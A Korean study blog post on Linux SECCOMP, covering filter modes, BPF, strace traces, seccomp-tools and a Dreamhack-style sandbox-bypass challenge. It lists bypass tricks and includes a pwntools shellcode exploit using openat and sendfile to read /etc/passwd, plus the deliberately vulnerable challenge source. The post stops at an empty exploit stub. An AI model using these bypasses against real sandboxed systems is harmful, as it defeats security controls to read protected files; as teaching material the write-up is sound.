Study

SECCOMP 정리

imaginefuture-1 2025. 4. 21. 14:49

 

 

2. SECCOMP

2-1 BPF란? (Berkeley Packet Filter)

2-1-1 Sandboing 목적

2-1-2 필터구조

2-2 모드 종류

2-2-1 Strick Mode (SECCOMP_MODE_STRICT)

2-2-2 Filter Mode (SECCOMP_MODE_FILTER)

2-3 Seccomp-tools

2-4 SECCOMP 우회

2-5 현실에서 SECCOMP의 한계

2-6 eBPF(extended BPF)로의 진화 (번외)

2-7 실제 문제 풀어보기

2-7-1 Bypass SECCOMP-1

2-7-2 seccomp

 


 

2. SECCOMP

SECCOMP는 "Secure Computing Mode"의 줄임말로, 리눅스 커널이 지원하는 시스템콜 필터링 보안 메커니즘이다.

쉽게 말하면, "허용된 시스템콜만 사용 가능하게 해주는 보안 체"같은 친구.

이를 통해 악의적인 프로그램이 위험한 syscall(open, execve 등)을 호출하는 걸 막을 수 있다.

체로 비유를 들어 구간 설명하면 요런 느낌이다.

BPF_JUMP 마치 체에 구멍 뚫는 느낌. 특정 syscall만 통과시켜줌
SECCOMP_RET_KILL_PROCESS 나머지는 체에 걸려서 바로
prctl(PR_SET_NO_NEW_PRIVS, 1) 권한 상승 막기. 체 안의 규칙은 절대 못 벗어남

작동방식

일반적으로 리눅스 프로그램은 syscall을 자유롭게 호출하지만, SECCOMP는 이를 화이트리스트 방식으로 제한한다.

seccomp_init(), seccomp_rule_add(), seccomp_load() 순서로 사용한다.

2-1 BPF란? (Berkeley Packet Filter)

BPF는 원래 네트워크 패킷 필터링용으로 만들어진 기술이지만, 지금은 리눅스 커널 내부에서 미니 가상 머신처럼 동작하는 핵심 기능이 되어버렸습니다. 좀 더 간략하게 설명하자면

BPF는 리눅스 커널 안에 존재하는 작은 가상 머신이며 사용자가 짠 바이트코드(일종의 프로그램)를 커널이 대신 실행해주는 구조인거죠.

여기서 Sandboxing이라는 개념이 나오는데요

2-1-1 Sandboxing 목적

Sandbox는 격리된 공간. "안에서 뭐가 터져도 밖은 안전하게 하자"는 철학입니다.

뭔가 수상한 프로그램이 있으면 그냥 이 안에서만 뛰어놀게 하는거죠.

정리하자면 sandbox는 보안개념이고 bpf는 그걸 실제로 커널에서 구현해주는 기술인거죠.

seccomp는 sandboxing을 가능하게 해주는 커널 기능이고,

BPF는 그 안에서 필터를 실행시키는 뇌(=가상 머신)인겁니다.

seccomp 쓸 때마다 BPF가 따라붙는 이유는

seccomp의 필터가 BPF로 만들어지기 때문입니다

2-1-2 필터구조

seccomp의 필터 구조를 보면 아래와 같습니다.

유저 프로그램
 └─> syscall 호출
      └─> 커널 진입
           └─> seccomp 필터 확인
                └─> BPF VM에서 필터 코드 실행
                     └─> 허용 or 차단 결정

2-2 모드 종류

2-2-1 Strict Mode (SECCOMP_MODE_STRICT)

리눅스 2.6.12부터 등장

오직 read, write, exit, sigreturn 4가지 syscall만 허용

나머지 syscall은 SIGKILL로 즉시 프로세스 종료됨

매우 제한적이라 실전에서 거의 쓰이지 않음

아래는 Strick Mode가 적용된 소스코드인데

// Name: strict_mode.c
// Compile: gcc -o strict_mode strict_mode.c
#include <fcntl.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <unistd.h>
void init_filter() { prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); }
int main() {
  char buf[256];
  int fd = 0;
  init_filter();
  write(1, "OPEN!\n", 6);
  fd = open("/bin/sh", O_RDONLY);
  write(1, "READ!\n", 6);
  read(fd, buf, sizeof(buf) - 1);
  write(1, buf, sizeof(buf));
  return 0;
}

열자마자 바로 죽여버린다...(잔인)

static const int mode1_syscalls[] = {
    __NR_seccomp_read,
    __NR_seccomp_write,
    __NR_seccomp_exit,
    __NR_seccomp_sigreturn,
    -1, /* negative terminated */
};
#ifdef CONFIG_COMPAT   ----> 32비트/64비트 syscall 넘버가 달라서, 그것도 감지하는거임
static int mode1_syscalls_32[] = { #허용할 syscall 번호만 나열 
    __NR_seccomp_read_32,
    __NR_seccomp_write_32,
    __NR_seccomp_exit_32,
    __NR_seccomp_sigreturn_32,
    0, /* null terminated */
};
#endif
static void __secure_computing_strict(int this_syscall) {  #이 syscall 번호 허용 된거냐? 아니면 죽어! 
  const int *allowed_syscalls = mode1_syscalls;
#ifdef CONFIG_COMPAT
  if (in_compat_syscall()) allowed_syscalls = get_compat_mode1_syscalls();
#endif
  do {
    if (*allowed_syscalls == this_syscall) return; #현재 syscall 리스트에 있으면 --> 통과해
  } while (*++allowed_syscalls != -1);
#ifdef SECCOMP_DEBUG
  dump_stack();
#endif
  seccomp_log(this_syscall, SIGKILL, SECCOMP_RET_KILL_THREAD, true); ##없으면 sigkill날리고 죽여! 
  do_exit(SIGKILL);
}

strick mode 관련 코드인데, "지정된 시스템 콜 번호만 허용하고 나머지는 죽여버리자"는 코드이다.

2-2-2 Filter Mode (SECCOMP_MODE_FILTER)

리눅스 3.5부터 등장

BPF로 구성된 복잡한 규칙을 정의할 수 있음

대부분 이 모드를 기반으로 실전 보안 적용

기본적인 구성은 이렇다.

ctx = seccomp_init(SCMP_ACT_KILL);                         // 기본: 죽이기
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);  // read 허용 (조건부 허용)
seccomp_load(ctx);                                          // 필터 적용

아래 실제로 filter가 적용된 코드를 보며 더 자세히 알아보자.

// Name: libseccomp_alist.c
// Compile: gcc -o libseccomp_alist libseccomp_alist.c -lseccomp
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
void sandbox() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_KILL);
  if (ctx == NULL) {
    printf("seccomp error\n");
    exit(0);
  }
  #종료 관련 시스템 콜
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigreturn), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
  #일반적인 입출력 syscall 허용 
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); 
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0); 
  #open과 openat 둘 다 허용한 이유는 환경에 따라 다르게 사용될 수 있어서
  seccomp_load(ctx); #필터를 커널에 적용. 이제부터 위에서 허용된 syscall 이외에는 모두  차단
}
int banned() { fork(); }
int main(int argc, char *argv[]) {
  char buf[256];
  int fd;
  memset(buf, 0, sizeof(buf));
  sandbox();
  if (argc < 2) {
    banned();  
  }
  fd = open("/bin/sh", O_RDONLY);
  read(fd, buf, sizeof(buf) - 1);
  write(1, buf, sizeof(buf));
}

sandbox()에서 seccomp 필터 설정 (허용된 syscall만 allow)

main()에서 조건 따라 fork() 호출 시도 (하지만 차단됨)

기본 파일 읽기/쓰기 syscall은 허용돼서 동작함

첫번째 입력: ./libseccomp_alist

출력: bad system call(core dumped) = fork()호출되서 banned

두번째 입력: ./libeseccomp_alist 1

출력: "1"인자 있어서 fork()호출이 안됨 통과! --> 근데 이 깨진 문자는 뭐지?

요 두개 출력결과를 strace로 확인 및 비교하면 더 자세히 알 수 있다.

jihye@jihye-VirtualBox:~/Study/Dreamhack/seccomp$ strace ./libeseccomp_alist
execve("./libeseccomp_alist", ["./libeseccomp_alist"], 0x7ffedc7862f0 /* 48 vars */) = 0
brk(NULL)                               = 0x61c84212f000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x74708e9f7000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=71431, ...}) = 0
mmap(NULL, 71431, PROT_READ, MAP_PRIVATE, 3, 0) = 0x74708e9e5000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libseccomp.so.2", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=125360, ...}) = 0
mmap(NULL, 127296, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x74708e9c5000
mmap(0x74708e9c7000, 57344, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x74708e9c7000
mmap(0x74708e9d5000, 57344, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x10000) = 0x74708e9d5000
mmap(0x74708e9e3000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d000) = 0x74708e9e3000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220\243\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
fstat(3, {st_mode=S_IFREG|0755, st_size=2125328, ...}) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2170256, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x74708e600000
mmap(0x74708e628000, 1605632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x28000) = 0x74708e628000
mmap(0x74708e7b0000, 323584, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b0000) = 0x74708e7b0000
mmap(0x74708e7ff000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1fe000) = 0x74708e7ff000
mmap(0x74708e805000, 52624, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x74708e805000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x74708e9c2000
arch_prctl(ARCH_SET_FS, 0x74708e9c2740) = 0
set_tid_address(0x74708e9c2a10)         = 6944
set_robust_list(0x74708e9c2a20, 24)     = 0
rseq(0x74708e9c3060, 0x20, 0, 0x53053053) = 0
mprotect(0x74708e7ff000, 16384, PROT_READ) = 0
mprotect(0x74708e9e3000, 4096, PROT_READ) = 0
mprotect(0x61c822246000, 4096, PROT_READ) = 0
mprotect(0x74708ea35000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x74708e9e5000, 71431)           = 0
seccomp(SECCOMP_SET_MODE_STRICT, 0x1, NULL) = -1 EINVAL (Invalid argument)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_TSYNC, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_LOG, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_GET_ACTION_AVAIL, 0, [SECCOMP_RET_LOG]) = 0
seccomp(SECCOMP_GET_ACTION_AVAIL, 0, [SECCOMP_RET_KILL_PROCESS]) = 0
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_SPEC_ALLOW, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_NEW_LISTENER, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_GET_NOTIF_SIZES, 0, {seccomp_notif=80, seccomp_notif_resp=24, seccomp_data=64}) = 0
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_TSYNC_ESRCH, NULL) = -1 EFAULT (Bad address)
getrandom("\x9e\x17\xa2\xf0\xed\xee\x0d\x6f", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x61c84212f000
brk(0x61c842150000)                     = 0x61c842150000
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)  = 0
seccomp(SECCOMP_SET_MODE_FILTER, 0, {len=14, filter=0x61c842131c40}) = 0
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x74708e9c2a10) = 56
+++ killed by SIGSYS (core dumped) +++
Bad system call (core dumped)

sandbox() 내에서 seccomp 필터 정상적으로 세팅됨

banned() 함수 안에 있는 fork() 호출 → 허용되지 않은 syscall

그 순간 SIGSYS (Bad System Call) 뜨면서 프로그램 강제 종료됨

execve("./libeseccomp_alist", ["./libeseccomp_alist"], ...) = 0

"1" 인자가 없음 → main()에서 banned() 함수 호출됨

openat /lib/x86_64-linux-gnu/libseccomp.so.2
...
mmap ...

libc, libseccomp 등 필요한 라이브러리들 전부 불러오고,

기본 syscall들은 아직 허용 상태니까 다 통과함

prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)  = 0
seccomp(SECCOMP_SET_MODE_FILTER, 0, {len=14, filter=...}) = 0

sandbox() 함수에서 seccomp 필터 적용 (SCMP_ACT_KILL)

이제부터는 허용된 syscall 아니면 바로 죽음

clone(...) = 56
+++ killed by SIGSYS (core dumped) +++

fork()는 내부적으로 clone() syscall을 사용함

근데 clone()은 allowlist에 없음

→ seccomp 필터가 SIGSYS 시그널로 죽여버림

@@@@��7�7@@jihye@jihye-VirtualBox:~/Study/Dreamhack/seccomp$ strace ./libeseccomp_alist 1
execve("./libeseccomp_alist", ["./libeseccomp_alist", "1"], 0x7ffda32e6408 /* 48 vars */) = 0 
brk(NULL)                               = 0x59f3793b5000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x77563f3fb000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=71431, ...}) = 0
mmap(NULL, 71431, PROT_READ, MAP_PRIVATE, 3, 0) = 0x77563f3e9000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libseccomp.so.2", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=125360, ...}) = 0
mmap(NULL, 127296, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x77563f3c9000
mmap(0x77563f3cb000, 57344, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x77563f3cb000
mmap(0x77563f3d9000, 57344, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x10000) = 0x77563f3d9000
mmap(0x77563f3e7000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d000) = 0x77563f3e7000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220\243\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
fstat(3, {st_mode=S_IFREG|0755, st_size=2125328, ...}) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2170256, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x77563f000000
mmap(0x77563f028000, 1605632, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x28000) = 0x77563f028000
mmap(0x77563f1b0000, 323584, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b0000) = 0x77563f1b0000
mmap(0x77563f1ff000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1fe000) = 0x77563f1ff000
mmap(0x77563f205000, 52624, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x77563f205000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x77563f3c6000
arch_prctl(ARCH_SET_FS, 0x77563f3c6740) = 0
set_tid_address(0x77563f3c6a10)         = 6882
set_robust_list(0x77563f3c6a20, 24)     = 0
rseq(0x77563f3c7060, 0x20, 0, 0x53053053) = 0
mprotect(0x77563f1ff000, 16384, PROT_READ) = 0
mprotect(0x77563f3e7000, 4096, PROT_READ) = 0
mprotect(0x59f36d7a1000, 4096, PROT_READ) = 0
mprotect(0x77563f439000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x77563f3e9000, 71431)           = 0
seccomp(SECCOMP_SET_MODE_STRICT, 0x1, NULL) = -1 EINVAL (Invalid argument)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_TSYNC, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_LOG, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_GET_ACTION_AVAIL, 0, [SECCOMP_RET_LOG]) = 0
seccomp(SECCOMP_GET_ACTION_AVAIL, 0, [SECCOMP_RET_KILL_PROCESS]) = 0
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_SPEC_ALLOW, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_NEW_LISTENER, NULL) = -1 EFAULT (Bad address)
seccomp(SECCOMP_GET_NOTIF_SIZES, 0, {seccomp_notif=80, seccomp_notif_resp=24, seccomp_data=64}) = 0
seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FILTER_FLAG_TSYNC_ESRCH, NULL) = -1 EFAULT (Bad address)
getrandom("\xb3\x08\xbf\x72\x65\x8c\xd2\x8c", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x59f3793b5000
brk(0x59f3793d6000)                     = 0x59f3793d6000
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)  = 0
seccomp(SECCOMP_SET_MODE_FILTER, 0, {len=14, filter=0x59f3793b7c40}) = 0
openat(AT_FDCWD, "/bin/sh", O_RDONLY)   = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20O\0\0\0\0\0\0"..., 255) = 255
@@@@��7�7@@) = 2562\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20O\0\0\0\0\0\0"..., 256ELF>O@x�@8
exit_group(0)                           = ?
+++ exited with 0 +++

seccomp 필터는 제대로 적용됨

fork()는 호출되지 않아서 syscall 차단은 안 걸림

/bin/sh ELF 파일을 read()해서 터미널에 그대로 출력한 게 마지막 깨진 문자들임

프로그램은 정상 종료 (exit_group(0))

execve("./libeseccomp_alist", ["./libeseccomp_alist", "1"], ...) = 0

프로그램 시작됨!

인자 "1"이 있어서 banned() 함수는 실행되지 않음 → fork()도 호출 안 됨

openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libseccomp.so.2", ...) = 3
...
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", ...) = 3

libseccomp와 libc 동적 링크 중

mmap, fstat 등 다수 시스템 호출은 이때 로딩 과정

prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)  = 0
seccomp(SECCOMP_SET_MODE_FILTER, 0, {len=14, filter=0x...}) = 0

sandbox() 함수 내부 실행 중

seccomp 필터가 성공적으로 로드됨 (= 0)

openat(AT_FDCWD, "/bin/sh", O_RDONLY)   = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0...", 255) = 255

/bin/sh 파일을 열고 (openat), 읽고 있음 (read)

/bin/sh는 ELF 실행 파일이니까…

→ ELF 헤더 + 바이너리 내용 그대로 읽혀짐

@@@@��7�7@@)
256ELF>O@x�@8

깨져 보이지만, 사실 write()로 ELF 바이너리를 그냥 터미널에 뿌린 결과

exit_group(0)                           = ?
+++ exited with 0 +++

아무런 signal 없이 정상 종료

2-3 Seccomp-tools(필터 확인용)

프로그램에 seccomp이 적용됐는지 안됐는지, 또 어떻게 작동하는지 알 수 있을까? 여기 아주 좋은 tools가 있다!

seccomp-tools dump로 덤프한 BPF 필터는 seccomp 필터가 시스템 콜(SYSCALL)을 필터링하는 로직을 어셈블리처럼 해석한 BPF 코드다.

“이 프로그램은 어떤 시스템 콜을 허용하고 어떤 걸 죽이는가”를 아주 낮은 수준에서 보여주는 아주 좋은 친구다.

아래에서 더 자세히 분석을 해보자면

번호: 코드 JT JF 값    → 이건 (조건) 이면 (어디로 점프), 아니면 (어디로 점프)

A = arch

A라는 레지스터에 seccomp_data.arch 값을 넣어.

즉, 현재 실행 중인 커널의 아키텍처 값을 불러오는 단계.

0001: 0x15 0x00 0x08 0xc000003e

if (A != ARCH_X86_64) goto 0010

A가 0xc000003e (x86_64의 아키텍처 ID)이 아니면 → 0010으로 점프 → KILL

즉, 이 필터는 x86_64 아키텍처에서만 작동하도록 제한하는 조건!

0002: 0x20 0x00 0x00 0x00000000

A = sys_number

A에 현재 실행하려는 시스템 콜 번호를 로드함.

0003: 0x35 0x00 0x01 0x40000000

if (A < 0x40000000) goto 0005

만약 시스템 콜 번호가 0x40000000보다 작으면 → 0005로 감.

0x40000000은 아마도 이상한 커널 ABI나 미래용 시스템콜 방지용 가드

이상하면 다음 조건으로 넘어가서 죽이려는 용도.

이후 write, open,execve ,execveat 차단 (return KILL) , 나머지 syscall은 다 허용 (return ALLOW)

2-4 SECCOMP 우회

요렇게 무지막지한 SECCOMP도 완벽하지않기에, 우회하는 방법이 여러가지있는데요. 대표적으로 아래와 같습니다.

2-4-1 syscall 넘버 변형 우회

or rax, 0x40000000 사용

필터가 상위비트를 무시하는 점을 악용

2-4-2 대체 syscall 조합

open ⟶ openat

write ⟶ sendfile

execve ⟶ dup + shellcode + mprotect 전략

2-4-3. 필터 의존성 문제

syscall 호출이 가능하더라도, 그 내부에서 다른 syscall을 호출하는 경우가 많음

예: execve() → 내부에서 openat() 호출 → execve는 허용되었더라도, openat이 막혀 있으면 실행 실패

syscall은 혼자 움직이지 않는다 → 의존성을 고려한 설계 필요

아래 실제 우회 exploit코드를 보면 더 쉽게 이해가 가능한데요.

#!/usr/bin/env python3
# Name: bypass_seccomp.py
from pwn import *
context.arch = 'x86_64'
p = process('./bypass_seccomp')
shellcode = shellcraft.openat(0, '/etc/passwd') #open대신 openat사용 
shellcode += 'mov r10, 0xffff' 
shellcode += shellcraft.sendfile(1, 'rax', 0).replace('xor r10d, r10d','') #write대신 sendfile 사용
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))
p.interactive()

/etc/passwd가 rax에 들어감

mov r10, 0xffff

이건 사실 sendfile에서 r10 레지스터를 쓰기 위한 세팅이지만
아래 shellcraft.sendfile()에서 이미 제거해놨기 때문에 그냥 수동으로 mov r10, 0xffff 해준 것.

즉, count에 충분히 큰 값 (0xffff)을 넣어서
파일 끝까지 읽도록 하자!

replace('xor r10d, r10d','')는 r10 설정 제거용

→ 위에서 mov r10, 0xffff 수동 설정을 위해

익스에 성공하면 /etc/passwd 내용이 출력된다

여기까지 이해하니 약간 저번주에 공부한 rop처럼 내부 함수 이용한 느낌이더라고요

rop는 쉘코드 금지됐어? ㅇㅋ 그럼 기존 정상 함수 조각들(가젯)이어서 원하는 동작하게 만들자

seccompbypass도 syscal 제한됨? ㅇㅋ 그럼 허용된 syscall 중에서 조합해서 원하는 기능 만들어버리자더라고요

금지된 동작우회 전략설명

execve() system() + ROP libc 호출로 셸 실행 가능
write() sendfile(), puts() write 막히면 대체 syscall or 함수
open() openat(), syscall 조합 경로를 상대 경로로 바꿔도 가능

2-5 현실에서 SECCOMP의 한계

seccomp는 커널 레벨에서 syscall을 제한해주는 아주 강력한 보안 기능입니다.

하지만 이게 완벽하냐? 하면… 전혀 아니죠. 정교하게 설계되지 않으면 프로그램이 실행 도중에 망가질 수도 있고, 심지어 아예 시작조차 못 하는 경우도 생깁니다. 즉, 어디서 어떤 syscall이 필요한지, 그게 어떤 chain을 타는지 딱 파악해서 설계해야 진짜 제대로 된 seccomp 필터가 되는거죠!

2-6 eBPF(extended BPF)로의 진화 (번외)

위에서 언급했던 기존 BPF는 패킷 필터 or syscall 필터였고 이 역시 완벽하지않기에 한계가 있었습니다. 그래서 더 찾아보니 짜잔 더 발전된 eBPF가 있습니다!

바로 커널 안에서 돌아가는 프로그램을 유저 공간에서 작성해서 넣을 수 있는 기술

심지어, 커널을 리빌드하지 않아도 되는 완전 혁명적인 개념!

즉, 커널을 바꾸지 않고, 커널을 바꾸는 기술

"eBPF는 커널에 붙은 스크립팅 머신!

예를 들어 Docker + seccomp + BPF 구조가 이렇다면

내 CPU
 └─ Windows (호스트 OS)
     └─ VirtualBox (하이퍼바이저)
         └─ Ubuntu (게스트 리눅스)
             └─ Docker 컨테이너
                 └─ 사용자 앱
                     └─ syscall
                         └─ seccomp
                             └─ BPF VM
                                 └─ 커널 레벨에서 허용 여부 판단

Docker + seccomp + eBPF 구조는 아래와 같다하더라고요. 이 부분은 시간이 없어서, 여기까지만 알아봤습니다!

내 CPU
     └─ Windows (호스트 OS)
         └─ VirtualBox (하이퍼바이저)
             └─ Ubuntu (게스트 리눅스)
                 └─ Docker 컨테이너
                     └─ 사용자 앱 실행
                         └─ syscall 호출
                             └─ 커널 진입
                                 └─ eBPF hook 작동
                                     ├─ 정책 필터링 (ex. seccomp, cgroup)
                                     ├─ 트레이싱 (ex. kprobe, tracepoint)
                                     ├─ 네트워크 제어 (ex. XDP, tc)
                                     └─ 성능 분석 (ex. perf_event, uprobes)
                                         └─ 유저 공간으로 결과 전달

2-7 실제 문제 풀어보기

2-7-1 Bypass SECCOMP-1

// Name: bypass_seccomp.c
// Compile: gcc -o bypass_seccomp bypass_seccomp.c -lseccomp

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void sandbox() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);

  seccomp_load(ctx);
}

int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();

  init();

  memset(shellcode, 0, 0x1000);

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sandbox();

  sc = (void *)shellcode;
  sc();
}

금지된 syscall

  1. open
  2. execve
  3. execveat
  4. write

허용된 syscall

  1. openat
  2. sendfile
  3. read
  4. exit 등등..

seccomp-tools를 이용해 더 자세히 살펴보자

ARCH_X86_64 아키텍처이며 위에서 차단된 syscall 조건 동작 확인 가능

페이로드 흐름은 아래와 같습니다.

1. openat(0, "/etc/passwd") → 파일 디스크립터 얻기 (fd)

2. sendfile(1, fd, 0) → 1(stdout)로 파일 내용 전송

3. exit(0) → 종료

그럼 flag파일을 읽어야하는데 위치가 어디있을까요?

FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21

ENV user bypass_seccomp
ENV chall_port 7182

RUN apt-get update
RUN apt-get -y install socat

RUN adduser $user

ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user

RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user

RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag

WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user

친절한 dockerfile이 말해줍니다 /home/bypass_seccomp/flag

# exploit.py
from pwn import *

